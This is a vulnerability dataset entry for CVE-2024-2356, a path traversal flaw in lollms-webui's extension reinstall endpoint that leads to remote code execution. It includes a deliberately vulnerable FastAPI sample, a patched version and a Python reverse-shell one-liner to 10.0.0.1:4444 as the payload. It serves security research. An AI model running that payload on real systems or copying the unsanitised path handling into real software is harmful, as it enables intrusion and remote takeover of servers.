VAITP Dataset

← Back to the dataset

CVE-2024-2356

LFI in lollms-webui's `/reinstall_extension` name param leads to RCE.

  • CVSS 9.6
  • CWE-29
  • Input Validation and Sanitization
  • Remote

A Local File Inclusion (LFI) vulnerability exists in the '/reinstall_extension' endpoint of the parisneo/lollms-webui application, specifically within the `name` parameter of the `@router.post("/reinstall_extension")` route. This vulnerability allows attackers to inject a malicious `name` parameter, leading to the server loading and executing arbitrary Python files from the upload directory for discussions. This issue arises due to the concatenation of `data.name` directly with `lollmsElfServer.lollms_paths.extensions_zoo_path` and its use as an argument for `ExtensionBuilder().build_extension()`. The server's handling of the `__init__.py` file in arbitrary locations, facilitated by `importlib.machinery.SourceFileLoader`, enables the execution of arbitrary code, such as command execution or creating a reverse-shell connection. This vulnerability affects the latest version of parisneo/lollms-webui and can lead to Remote Code Execution (RCE) when the application is exposed to an external endpoint or the UI, especially when bound to `0.0.0.0` or in `headless mode`. No user interaction is required for exploitation.

CVSS base score
9.6
Published
2026-02-02
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Local File Inclusion (LFI)
Accessibility scope
Remote
Impact
Arbitrary Code Execution

Solution

Upgrade to `parisneo/lollms-webui` version 9.4 or later.

Vulnerable code sample

from fastapi import APIRouter, FastAPI
from pydantic import BaseModel
from pathlib import Path
import importlib.machinery
import importlib.util
import sys

# This code is a representation of the vulnerable logic described in CVE-2024-2356.
# It simulates the necessary components of the lollms-webui application
# to demonstrate the vulnerability.

# --- Start of Simulated Application Environment ---

# Simulate the Pydantic model for the request body
class ReinstallExtensionData(BaseModel):
    name: str

# Simulate the paths configuration object
class LollmsPaths:
    def __init__(self):
        # The legitimate directory for extensions
        self.extensions_zoo_path = Path("extensions")

# Simulate the main server object
class LollmsElfServer:
    def __init__(self):
        self.lollms_paths = LollmsPaths()

# Simulate the ExtensionBuilder class that loads the extension code
class ExtensionBuilder:
    def build_extension(self, extension_path, lollms_elf_server):
        # This function attempts to load an __init__.py file from the given path
        init_file = Path(extension_path) / "__init__.py"
        if not init_file.exists():
            # In a real scenario, this might raise an error or log a message.
            return None

        try:
            # The use of SourceFileLoader on a user-controllable path is what
            # enables the execution of arbitrary Python code.
            module_name = str(init_file.stem)
            loader = importlib.machinery.SourceFileLoader(module_name, str(init_file))
            spec = importlib.util.spec_from_loader(loader.name, loader)
            module = importlib.util.module_from_spec(spec)
            
            # This line executes the code within the __init__.py file,
            # leading to Remote Code Execution (RCE).
            loader.exec_module(module)
            
            return module
        except Exception as e:
            # In a real scenario, this might log the error.
            print(f"Error building extension: {e}", file=sys.stderr)
            return None

# --- End of Simulated Application Environment ---


# Instantiate the main application and router objects
app = FastAPI()
router = APIRouter()

# Instantiate a mock server object for the demonstration
lollmsElfServer = LollmsElfServer()


@router.post("/reinstall_extension")
async def reinstall_extension(data: ReinstallExtensionData):
    """
    This is the vulnerable endpoint. It allows reinstalling an extension.
    The 'name' parameter is not sanitized, leading to a Local File Inclusion.
    """
    try:
        # VULNERABLE CODE:
        # The user-controlled 'data.name' is directly concatenated with a base path.
        # An attacker can supply path traversal characters (e.g., '../../')
        # to navigate to other directories on the filesystem.
        extension_path = lollmsElfServer.lollms_paths.extensions_zoo_path / data.name

        # The application then attempts to build/load the extension from the
        # constructed path. If the path points to a directory containing a
        # malicious '__init__.py' file (e.g., in an upload directory),
        # that file will be executed.
        ExtensionBuilder().build_extension(extension_path, lollmsElfServer)

        return {"status": "success", "message": f"Extension {data.name} reinstalled."}
    except Exception as ex:
        return {"status": "failure", "error": str(ex)}


app.include_router(router)

Patched code sample

import os
import shutil
from pydantic import BaseModel

# The following code assumes the existence of 'router', 'lollmsElfServer', 
# and 'ExtensionBuilder' objects, which are part of the lollms-webui application.

class ExtensionInstallInfos(BaseModel):
    name: str

@router.post("/reinstall_extension")
async def reinstall_extension(data: ExtensionInstallInfos):
    """
    Reinstalls an extension.
    """
    try:
        # Sanitize the extension name to prevent path traversal
        sanitized_name = os.path.basename(data.name)
        if sanitized_name != data.name:
            # The name contained path traversal characters, indicating a potential attack
            lollmsElfServer.InfoMessage("Potential path traversal attempt detected and blocked.")
            return {"status": False, 'error': "Invalid extension name."}

        extension_path = lollmsElfServer.lollms_paths.extensions_zoo_path / sanitized_name
        
        if not extension_path.exists():
            return {"status": False, 'error': "Extension not found."}

        lollmsElfServer.ShowBlockingMessage("Reinstalling extension\nPlease wait...")
        
        shutil.rmtree(extension_path)
        lollmsElfServer.InfoMessage(f"Extension {sanitized_name} uninstalled successfully")
        
        lollmsElfServer.ShowBlockingMessage("Reinstalling extension\nPlease wait...")
        ExtensionBuilder().build_extension(lollmsElfServer.lollms_paths.extensions_zoo_path/sanitized_name, lollmsElfServer.lollms_paths.personal_path)
        
        lollmsElfServer.HideBlockingMessage()
        return {"status": True}
    except Exception as ex:
        lollmsElfServer.HideBlockingMessage()
        return {"status": False, 'error': f"Couldn't reinstall the extension: {ex}"}

Payload

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

Cite this entry

@misc{vaitp:cve20242356,
  title        = {{LFI in lollms-webui's `/reinstall_extension` name param leads to RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-2356},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-2356/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::